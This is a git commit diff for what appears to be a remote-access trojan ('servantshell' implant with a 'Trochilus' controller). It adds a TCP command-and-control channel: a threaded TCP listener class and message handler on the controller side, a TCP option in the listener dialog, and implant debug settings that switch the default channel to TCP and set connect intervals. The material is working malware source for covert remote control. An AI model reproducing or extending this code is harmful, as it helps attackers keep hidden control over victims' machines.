adjust tcp comm.
This commit is contained in:
parent
bb07a0b050
commit
6dea6bfba3
|
@ -13,7 +13,6 @@ MySocket::MySocket()
|
|||
|
||||
MySocket::~MySocket()
|
||||
{
|
||||
Close();
|
||||
}
|
||||
|
||||
MySocket::MySocket(SOCKET socket, BOOL bOwn)
|
||||
|
|
|
@ -48,7 +48,7 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nPort = 8081;
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
#endif
|
||||
sock.Close();
|
||||
if (! sock.Create(TRUE))
|
||||
|
@ -89,19 +89,18 @@ BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dw
|
|||
|
||||
BOOL bSentOK = FALSE;
|
||||
|
||||
int iSent = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
|
||||
if (iSent)
|
||||
{
|
||||
bSentOK = TRUE;
|
||||
}
|
||||
else
|
||||
bSentOK = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
|
||||
if (!bSentOK)
|
||||
{
|
||||
sock.Close();
|
||||
|
||||
if (! Connect(targetIP, sock))
|
||||
if ( Connect(targetIP, sock))
|
||||
{
|
||||
bSentOK = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
|
||||
}
|
||||
else
|
||||
{
|
||||
debugLog(_T("connect %x %s failed"), targetIP, a2t(inet_ntoa(addr)));
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -225,7 +225,7 @@ SHELL_API BOOL Init(BOOL bWait)
|
|||
|
||||
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_HTTP;
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
|
||||
g_ConfigInfo.nFirstConnectHour = -1;
|
||||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
g_ConfigInfo.nTryConnectIntervalM = 1;
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
#include "Trochilus.h"
|
||||
#include "ListenDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CommNames.h"
|
||||
|
||||
|
||||
// CListenDlg ¶Ô»°¿ò
|
||||
|
@ -41,10 +42,10 @@ void CListenDlg::InitView()
|
|||
m_Imagelist.Add(AfxGetApp()->LoadIcon(IDI_ICON_LIS));
|
||||
m_listenList.SetImageList(&m_Imagelist);
|
||||
|
||||
// m_protoList.InsertString(0,_T("TCP"));
|
||||
// m_protoList.SetItemData(0,2);
|
||||
m_protoList.InsertString(0,_T("HTTP"));
|
||||
m_protoList.SetItemData(0,4);
|
||||
m_protoList.SetItemData(0,COMMNAME_HTTP);
|
||||
m_protoList.InsertString(1,_T("TCP"));
|
||||
m_protoList.SetItemData(1,COMMNAME_TCP);
|
||||
// m_protoList.InsertString(2,_T("DNS"));
|
||||
// m_protoList.SetItemData(2,5);
|
||||
m_protoList.SetCurSel(0);
|
||||
|
@ -98,22 +99,22 @@ void CListenDlg::InitResize()
|
|||
|
||||
void CListenDlg::OnBnClickedButtonStart()
|
||||
{
|
||||
int nSelProto = m_protoList.GetCurSel();
|
||||
int sel = m_protoList.GetCurSel();
|
||||
|
||||
int nPort = GetDlgItemInt(IDC_EDIT_PORT);
|
||||
int port = GetDlgItemInt(IDC_EDIT_PORT);
|
||||
|
||||
int nCount = m_listenList.GetItemCount();
|
||||
|
||||
|
||||
CString strPort;
|
||||
|
||||
strPort.Format(_T("%d"),nPort);
|
||||
strPort.Format(_T("%d"),port);
|
||||
|
||||
CString strProtocol;
|
||||
if (nSelProto == 0)
|
||||
if (sel == 0)
|
||||
{
|
||||
strProtocol = _T("HTTP");
|
||||
}
|
||||
else if (nSelProto == 1)
|
||||
else if (sel == 1)
|
||||
{
|
||||
strProtocol = _T("TCP");
|
||||
}
|
||||
|
@ -121,7 +122,7 @@ void CListenDlg::OnBnClickedButtonStart()
|
|||
m_listenList.InsertItem(nCount,strProtocol,0);
|
||||
m_listenList.SetItemText(nCount,1,strPort);
|
||||
|
||||
int serial = AddCommService(nPort,m_protoList.GetItemData(nSelProto));
|
||||
int serial = AddCommService(port,m_protoList.GetItemData(sel));
|
||||
|
||||
if (serial)
|
||||
{
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
#include "MessageDefines.h"
|
||||
#include "common.h"
|
||||
#include "CommManager.h"
|
||||
#include "Tcp.h"
|
||||
#include "DnsResolver.h"
|
||||
#include "mongoose/mongoose.h"
|
||||
|
||||
|
@ -139,6 +140,16 @@ int CommManager::AddCommService(int port,int name)
|
|||
// }
|
||||
case COMMNAME_TCP:
|
||||
{
|
||||
CTcp *tcp = new CTcp;
|
||||
tcp->Init();
|
||||
tcp->Start(port,TcpMsgHandler);
|
||||
|
||||
info.nCommName = COMMNAME_TCP;
|
||||
|
||||
m_commMap.insert(MAKE_PAIR(COMM_MAP,serial,info));
|
||||
|
||||
ret = serial;
|
||||
|
||||
break;
|
||||
}
|
||||
default:
|
||||
|
@ -411,7 +422,12 @@ void CommManager::HandleMsgByMsgHandler( MSGID msgid, const CommData& commData )
|
|||
}
|
||||
}
|
||||
}
|
||||
BOOL CommManager::TcpMsgHandler( LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender )
|
||||
{
|
||||
BOOL bValidData = FALSE;
|
||||
|
||||
return CommManager::GetInstanceRef().HandleMessageAndReply(sin,data , size, COMMNAME_TCP, bValidData, TCP_COMM_REPLY_MAXSIZE, toSender);
|
||||
}
|
||||
int CommManager::HttpMsgHandler( struct mg_connection *conn, enum mg_event ev )
|
||||
{
|
||||
BOOL bValidData = FALSE;
|
||||
|
@ -598,10 +614,7 @@ void CommManager::UpdateHeartbeat( LPCTSTR clientid, SOCKADDR_IN addr )
|
|||
}
|
||||
|
||||
|
||||
BOOL CommManager::TcpMsgHandler( SOCKADDR_IN addr, SOCKET clientSocket, const LPBYTE pData, DWORD dwDataSize, LPBYTE pSessionData, LPVOID lpParameter )
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL CommManager::MsgHandler_AvailableComm( MSGID msgid, const CommData& commData, LPVOID lpParameter )
|
||||
{
|
||||
|
|
|
@ -91,7 +91,7 @@ private:
|
|||
static int HttpMsgHandler(struct mg_connection *conn, enum mg_event ev);
|
||||
static void HttpPollThread(LPVOID lpParameter);
|
||||
|
||||
static BOOL TcpMsgHandler(SOCKADDR_IN addr, SOCKET clientSocket, const LPBYTE pData, DWORD dwDataSize, LPBYTE pSessionData, LPVOID lpParameter);
|
||||
static BOOL TcpMsgHandler(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
|
||||
|
||||
private:
|
||||
ICMPSocket m_icmpSocket;
|
||||
|
|
|
@ -0,0 +1,116 @@
|
|||
#include "StdAfx.h"
|
||||
#include "Tcp.h"
|
||||
|
||||
|
||||
CTcp::CTcp(void)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
CTcp::~CTcp(void)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void CTcp::Init()
|
||||
{
|
||||
WSADATA data;
|
||||
WSAStartup(MAKEWORD(2,2),&data);
|
||||
}
|
||||
|
||||
bool CTcp::Start(int port , tcpHandler handler)
|
||||
{
|
||||
bool ret = FALSE;
|
||||
|
||||
MySocket socket;
|
||||
|
||||
socket.Create();
|
||||
|
||||
if (socket.Bind(port))
|
||||
{
|
||||
ARGV_LIST* argv = new ARGV_LIST;
|
||||
|
||||
argv->handler = handler;
|
||||
argv->s = socket;
|
||||
argv->lpParameter = this;
|
||||
|
||||
listen(socket,25);
|
||||
_beginthread(ListenProc,0,argv);
|
||||
|
||||
ret = TRUE;
|
||||
}
|
||||
|
||||
return ret;
|
||||
|
||||
|
||||
}
|
||||
|
||||
void CTcp::Worker(LPVOID lpParameter)
|
||||
{
|
||||
ARGV_LIST *argv = (ARGV_LIST*)lpParameter;
|
||||
|
||||
TCP_HEADER header;
|
||||
|
||||
MySocket socket(argv->s,TRUE);
|
||||
|
||||
BOOL ret = TRUE;
|
||||
|
||||
ByteBuffer toSender;
|
||||
|
||||
while(ret)
|
||||
{
|
||||
ret = socket.ReceiveAll(&header,sizeof(TCP_HEADER));
|
||||
if (ret && header.flag == TCP_FLAG)
|
||||
{
|
||||
LPBYTE lpData = (LPBYTE)malloc(header.nSize);
|
||||
|
||||
ret = socket.ReceiveAll(lpData,header.nSize);
|
||||
|
||||
if ( ret )
|
||||
{
|
||||
if (argv->handler(lpData,header.nSize,argv->sin,toSender))
|
||||
{
|
||||
header.nSize = toSender.Size();
|
||||
socket.SendAll(&header,sizeof(TCP_HEADER));
|
||||
socket.SendAll(toSender,toSender.Size());
|
||||
}
|
||||
free(lpData);
|
||||
}
|
||||
else
|
||||
{
|
||||
free(lpData);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
delete lpParameter;
|
||||
}
|
||||
|
||||
void CTcp::ListenProc(LPVOID lpParameter)
|
||||
{
|
||||
ARGV_LIST *argv = (ARGV_LIST*)lpParameter;
|
||||
|
||||
MySocket socket(argv->s,TRUE);
|
||||
|
||||
SOCKADDR_IN sin;
|
||||
|
||||
MySocket acc;
|
||||
|
||||
while(socket.Accept(sin,acc))
|
||||
{
|
||||
ARGV_LIST * client_argv = new ARGV_LIST;
|
||||
|
||||
client_argv->handler = argv->handler;
|
||||
client_argv->sin = sin;
|
||||
client_argv->s = acc;
|
||||
client_argv->lpParameter = argv->lpParameter;
|
||||
|
||||
_beginthread(Worker,0,client_argv);
|
||||
}
|
||||
|
||||
delete lpParameter;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
#pragma once
|
||||
#include "TcpDefines.h"
|
||||
#include "socket/MySocket.h"
|
||||
#include <WinSock2.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
typedef BOOL (*tcpHandler)(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SOCKET s;
|
||||
SOCKADDR_IN sin;
|
||||
tcpHandler handler;
|
||||
LPVOID lpParameter;
|
||||
|
||||
}ARGV_LIST,*PARGV_LIST;
|
||||
|
||||
class CTcp
|
||||
{
|
||||
public:
|
||||
CTcp(void);
|
||||
~CTcp(void);
|
||||
|
||||
void Init();
|
||||
bool Start(int port , tcpHandler handler);
|
||||
bool Stop();
|
||||
|
||||
private:
|
||||
|
||||
static void ListenProc(LPVOID lpParameter);
|
||||
|
||||
static void Worker(LPVOID lpParameter);
|
||||
|
||||
};
|
||||
|
|
@ -165,6 +165,7 @@
|
|||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="Tcp.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\..\base\include\encrypt\encrypt.cpp" />
|
||||
|
@ -201,6 +202,7 @@
|
|||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Tcp.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="master.rc" />
|
||||
|
|
|
@ -297,6 +297,9 @@
|
|||
<ClInclude Include="..\..\..\base\include\mongoose\mongoose.h">
|
||||
<Filter>include\mongoose</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Tcp.h">
|
||||
<Filter>comm</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
|
@ -392,6 +395,9 @@
|
|||
<ClCompile Include="..\..\..\base\include\mongoose\mongoose.cpp">
|
||||
<Filter>include\mongoose</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Tcp.cpp">
|
||||
<Filter>comm</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="master.rc">
|
||||
|
|
Loading…
Reference in New Issue